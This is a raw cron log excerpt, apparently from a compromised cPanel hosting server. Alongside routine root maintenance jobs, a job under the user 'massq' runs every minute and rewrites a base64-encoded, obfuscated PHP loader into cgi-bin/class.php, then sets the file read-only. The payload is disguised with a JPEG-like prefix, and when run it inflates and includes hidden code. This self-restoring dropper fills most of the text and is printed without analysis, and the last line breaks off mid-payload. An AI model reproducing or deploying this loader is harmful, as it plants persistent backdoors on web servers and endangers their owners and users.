Apr  8 11:33:01 server CROND[15091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:34:01 server CROND[15157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:35:02 server CROND[15234]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 11:35:02 server CROND[15235]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 11:35:02 server CROND[15236]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 11:35:02 server CROND[15237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:35:02 server CROND[15238]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 11:36:01 server CROND[15364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:37:01 server CROND[15526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:38:01 server CROND[15593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:39:01 server CROND[15659]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 11:39:01 server CROND[15660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:40:01 server CROND[15735]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 11:40:01 server CROND[15736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:40:01 server CROND[15737]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 11:40:01 server CROND[15738]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 11:41:01 server CROND[15860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:42:01 server CROND[15934]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 11:42:01 server CROND[15935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:43:01 server CROND[16106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:44:01 server CROND[16165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:45:01 server CROND[16237]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 11:45:01 server CROND[16238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:45:01 server CROND[16239]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 11:46:01 server CROND[16366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JH